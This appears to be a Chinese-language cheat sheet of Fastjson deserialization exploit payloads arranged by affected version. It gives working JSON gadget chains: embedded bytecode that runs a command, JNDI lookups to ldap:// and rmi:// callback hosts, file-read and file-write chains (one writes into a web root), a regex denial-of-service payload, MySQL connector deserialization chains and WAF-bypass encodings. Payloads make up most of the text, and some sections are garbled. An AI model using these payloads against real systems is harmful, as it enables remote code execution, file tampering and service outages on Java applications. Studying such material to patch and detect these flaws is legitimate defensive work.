1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { "name" : { "@type" : "java.lang.Class" , "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" } , "x" : { "name" : { "@type" : "java.lang.Class" , "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "y" : { "@type" : "com.alibaba.fastjson.JSONObject" , "c" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$.." , "$ref" : "$.x.y.c.connection" } } } }
其他
1 2 3 4 5 6 7 8 9 10 11 { "@type" : "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" , "key" : { "@type" : "java.lang.Class" , "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driver" : "$$BCEL$$xxxxxxx" }
TemplatesImpl
利用条件苛刻,可用于解决不出网利用。 需要调用parseObject()
方法时,加入Feature.SupportNonPublicField参数。 _bytecodes要进行base64编码
1 { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" : [ "yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg==" ] , "_name" : "a.b" , "_tfactory" : { } , "_outputProperties" : { } , "_version" : "1.0" , "allowedProtocols" : "all" }
c3p0#WrapperConnectionPoolDataSource
可用于解决不出网利用。 fastjson <1.2.47 利用c3p0二次反序列化 cc payload到达回显。
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /json HTTP/1.1 Host: 127.0 .0 .1 : 8999 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0 .3770 .142 Safari/537.36 Accept: text/html, application/xhtml+xml, application/xml;q=0.9 , image/webp, image/apng, *
Fastjson 1.2.25-1.2.41 1.2.25后将TypeUtils.loadClass替换为checkAutoType()函数,增加了黑名单和白名单。 把autoTypeSupport默认为False。 当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。 当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
1.2.25黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
exp 条件需要开启autotype 类名前面加了一个L,后面加一个;可以绕过黑名单
1 { "@type" : "Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName" : "ldap://localhost:1389/badNameClass" , "autoCommit" : true }
Fastjson 1.2.25-1.2.42 从1.2.42版本开始,把之前的明文黑名单,改为hash黑名单。 如下大佬整理的https://github.com/LeadroyaL/fastjson-blacklist exp 条件需要开启autotype 双写绕过
1 { "@type" : "LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName" : "ldap://localhost:1389/badNameClass" , "autoCommit" : true }
Fastjson 1.2.25-1.2.43 exp 条件需要开启autotype 加[{绕过
1 { "@type" : "[com.sun.rowset.JdbcRowSetImpl" [ { , "dataSourceName" : "ldap://localhost:1389/badNameClass" , "autoCommit" : true }
Fastjson 1.2.25-1.2.45 条件需要开启autotype 45把之前问题修了,但是可以借助第三方组件绕过。 需要mybatis,且版本需为3.x.x系列<3.5.0的版本。
1 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://localhost:1389/badNameClass" } }
Fastjson 1.2.25-1.2.47 通杀 借助缓存进行通杀,缓存在1.2.48被改为默认关闭 漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测 这里有两大版本范围:
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
poc:
1 2 3 4 5 6 7 8 9 10 11 { "a" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "b" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://localhost:1389/badNameClass" , "autoCommit" : true } }
1.2.48之后版本,小弟水平有限还未复现研究,payload需要注意的细节还未探索
Fastjson 1.2.36-1.2.62 正则表达式拒绝服务漏洞
1 2 3 4 5 6 { "regex" : { "$ref" : "$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]" } , "blue" : "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" }
1 2 3 4 5 6 { "regex" : { "$ref" : "$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']" } , "blue" : "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" }
Fastjson 1.2.5 <= 1.2.59 需要开启AutoType
1 2 { "@type" : "com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://localhost:1389/Exploit" } { "@type" : "com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://localhost:1389/Exploit" }
Fastjson 1.2.5 <= 1.2.60 需开启 autoType:
1 2 3 { "@type" : "oracle.jdbc.connector.OracleManagedConnectionFactory" , "xaDataSourceName" : "rmi://10.10.20.166:1099/ExportObject" } { "@type" : "org.apache.commons.configuration.JNDIConfiguration" , "prefix" : "ldap://10.10.20.166:1389/ExportObject" }
Fastjson 1.2.5 <= 1.2.61 1 { "@type" : "org.apache.commons.proxy.provider.remoting.SessionBeanProvider" , "jndiName" : "ldap://localhost:1389/Exploit" , "Object" : "a" }
Fastjson <1.2.62
需要开启AutoType;
Fastjson <= 1.2.62;
JNDI注入利用所受的JDK版本限制;
目标服务端需要存在xbean-reflect包;1 2 3 { "@type" : "org.apache.xbean.propertyeditor.JndiConverter" , "AsText" : "rmi://127.0.0.1:1098/exploit" } { "@type" : "org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : { "@type" : "java.util.Hashtable" , "java.naming.factory.initial" : "com.sun.jndi.rmi.registry.RegistryContextFactory" , "topic-factory" : "ldap://localhost:1389/Exploit" } , "namespace" : "" }
fastjson<=1.2.66 前提条件
开启AutoType;
Fastjson <= 1.2.66;
JNDI注入利用所受的JDK版本限制;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
1 2 3 4 5 6 7 8 9 10 11 12 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://192.168.80.1:1389/Calc" } { "@type" : "org.apache.shiro.realm.jndi.JndiRealmFactory" , "jndiNames" : [ "ldap://localhost:1389/Exploit" ] , "Realms" : [ "" ] } { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "metricRegistry" : "ldap://192.168.80.1:1389/Calc" } { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "healthCheckRegistry" : "ldap://localhost:1389/Exploit" } { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : "ldap://192.168.80.1:1389/Calc" } { "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" , "properties" : { "@type" : "java.util.Properties" , "UserTransaction" : "ldap://192.168.80.1:1399/Calc" } }
适用于jdk11以上版本的写文件的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "@type" : "java.lang.AutoCloseable" , "@type" : "sun.rmi.server.MarshalOutputStream" , "out" : { "@type" : "java.util.zip.InflaterOutputStream" , "out" : { "@type" : "java.io.FileOutputStream" , "file" : "/tmp/asdasd" , "append" : true } , "infl" : { "input" : { "array" : "eJxLLE5JTCkGAAh5AnE=" , "limit" : 14 } } , "bufLen" : "100" } , "protocolVersion" : 1 }
fastjson<=1.2.67 前提条件
开启AutoType;
Fastjson <= 1.2.67;
JNDI注入利用所受的JDK版本限制;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;1 2 3 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : [ "ldap://localhost:1389/Exploit" ] , "tm" : { "$ref" : "$.tm" } } { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://localhost:1389/Exploit" , "instance" : { "$ref" : "$.instance" } }
fastjson<=1.2.68
Fastjson <= 1.2.68;
利用类必须是expectClass类的子类或实现类,并且不在黑名单中;1 2 3 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://localhost:1389/Exploit" } { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://localhost:1389/Exploit" } { "@type" : "com.caucho.config.types.ResourceRef" , "lookupName" : "ldap://localhost:1389/Exploit" , "value" : { "$ref" : "$.value" } }
无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行:
1 { "@type" : "java.lang.AutoCloseable" , "@type" : "vul.VulAutoCloseable" , "cmd" : "calc" }
读文件
1 { "@type" : "java.lang.AutoCloseable" , "@type" : "org.eclipse.core.internal.localstore.SafeFileOutputStream" , "tempPath" : "C:/Windows/win.ini" , "targetPath" : "D:/wamp64/www/win.txt" }
写文件
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/tmp/nonexist" , "append" : "false" }
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileWriter" , "file" : "/tmp/nonexist" , "append" : "false" }
写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.eclipse.core.internal.localstore.SafeFileOutputStream" , "targetPath" : "D:/wamp64/www/hacked.txt" , "tempPath" : "D:/wamp64/www/test.txt" } , "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.esotericsoftware.kryo.io.Output" , "buffer" : "cHduZWQ=" , "outputStream" : { "$ref" : "$.stream" } , "position" : 5 } , "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.sleepycat.bind.serial.SerialOutput" , "out" : { "$ref" : "$.writer" } } }
写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 { 'stream': { '@type': "java.lang.AutoCloseable" , '@type': 'java.io.FileOutputStream', 'file': '/tmp/nonexist', 'append': false } , 'writer': { '@type': "java.lang.AutoCloseable" , '@type': 'org.apache.solr.common.util.FastOutputStream', 'tempBuffer': 'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=', 'sink': { '$ref': '$.stream'} , 'start': 38 } , 'close': { '@type': "java.lang.AutoCloseable" , '@type': 'org.iq80.snappy.SnappyOutputStream', 'out': { '$ref': '$.writer'} } }
适用于jdk8/10的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "@type" : "java.lang.AutoCloseable" , "@type" : "sun.rmi.server.MarshalOutputStream" , "out" : { "@type" : "java.util.zip.InflaterOutputStream" , "out" : { "@type" : "java.io.FileOutputStream" , "file" : "dst" , "append" : "false" } , "infl" : { "input" : "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" } , "bufLen" : 1048576 } , "protocolVersion" : 1 }
jdk 8
position写入的长度,必须和base64编码前的长度一致。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.eclipse.core.internal.localstore.SafeFileOutputStream" , "targetPath" : "f:/pwn.txt" , "tempPath" : "" } , "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.esotericsoftware.kryo.io.Output" , "buffer" : "YjF1M3I=" , "outputStream" : { "$ref" : "$.stream" } , "position" : 5 } , "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.sleepycat.bind.serial.SerialOutput" , "out" : { "$ref" : "$.writer" } } }
写文件,来自@W.K修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 { "x" : { "@type" : "com.alibaba.fastjson.JSONObject" , "input" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "http://127.0.0.1:8083/test.txt" } , "charsetName" : "UTF-8" , "bufferSize" : 10000 } , "branch" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.output.WriterOutputStream" , "writer" : { "@type" : "org.apache.commons.io.output.FileWriterWithEncoding" , "file" : "/tmp/files/12345" , "encoding" : "UTF-8" , "append" : true } , "charset" : "UTF-8" , "bufferSize" : 8193 , "writeImmediately" : true } , "trigger" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.XmlStreamReader" , "is" : { "@type" : "org.apache.commons.io.input.TeeInputStream" , "input" : { "$ref" : "$.input" } , "branch" : { "$ref" : "$.branch" } , "closeBranch" : true } , "httpContentType" : "text/xml" , "lenient" : false , "defaultEncoding" : "UTF-8" } } }
2021黑帽大会腾讯玄武披露 详细漏洞原理待研究https://b1ue.cn/archives/506.html
1 2 3 4 5 6 7 8 Mysqlconnector 5.1 .x{ "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.jdbc.JDBC4Connection" , "hostToConnectTo" : "mysql.host" , "portToConnectTo" : 3306 , "info" : { "user" : ”user"," password":" pass"," statementInterceptors":" com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"," autoDeserialize":" true "," NUM_HOSTS": " 1 "}," databaseToConnectTo":" dbname"," url":" "} Mysqlconnector 6.0.2 or 6.0.3 {" @type": " java.lang.AutoCloseable"," @type": " com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection"," proxy":{" connectionString":{" url": " jdbc: mysql: Mysqlconnector 6. x or < 8.0 .20 { "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection" , "proxy" : { "@type" : "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy" , "connectionUrl" : { "@type" : "com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters" : [ { "host" : "mysql.host" } ] , "slaves" : [ ] , "properties" : { "host" : "mysql.host" , "user" : "user" , "dbname" : "dbname" , "password" : "pass" , "queryInterceptors" : "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" } } } }
fastjson<=1.2.68 fastjson 未知版本 待探索
1 2 3 { "@type" : "org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory" , "tmJndiName" : "ldap://localhost:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : { "$ref" : "$.transactionManager" } } { "@type" : "org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory" , "tmJndiName" : "ldap://localhost:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : { "$ref" : "$.transactionManager" } }
fastjson < 1.2.83
具体版本1.2.76 <= fastjson < 1.2.83
依赖groovy
具体参考https://github.com/Lonely-night/fastjsonVul
bypasswaf 绕过 WAF ,在部分中间件中,multipart 支持指定 Content-Transformer-Encoding 可以使用 Base64 或 quoted-printable (QP 编码) 来绕过 WAF 大量字符绕过 WAF
1 [ 11111111111111111111111111111111111 , [ 11111111111111111111111111111111111. .. , [ 11111111111111111111111111111111111. .. , [ 11111111111111111111111111111111111. .. , [ 11111111111111111111111111111111111. .. , ..., { '\x40\u0074\x79\u0070\x65': xjava.lang.AutoCloseable"... ]]]]]
各种特性
1 , new: [ NaN, x'00 ', { , '\x40\u0074\x79\u0070\x65': xjava.lang.AutoClosea ble"
文章推荐:https://www.sec-in.com/article/950 Fastjson默认会去除键、值外的空格、\b
、\n
、\r
、\f
等,同时还会自动将键与值进行unicode与十六进制解码。
1 2 3 4 5 6 7 8 9 10 11 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://10.251.0.111:9999" , "autoCommit" : true } { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://10.251.0.111:9999" , "autoCommit" : true } { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://10.251.0.111:9999" , "autoCommit" : true } { \n"@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://10.251.0.111:9999" , "autoCommit" : true } { "@type" \b: "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://10.251.0.111:9999" , "autoCommit" : true } { "\u0040\u0074\u0079\u0070\u0065" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://10.251.0.111:9999" , "autoCommit" : true } { "\x40\x74\x79\x70\x65" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://10.251.0.111:9999" , "autoCommit" : true }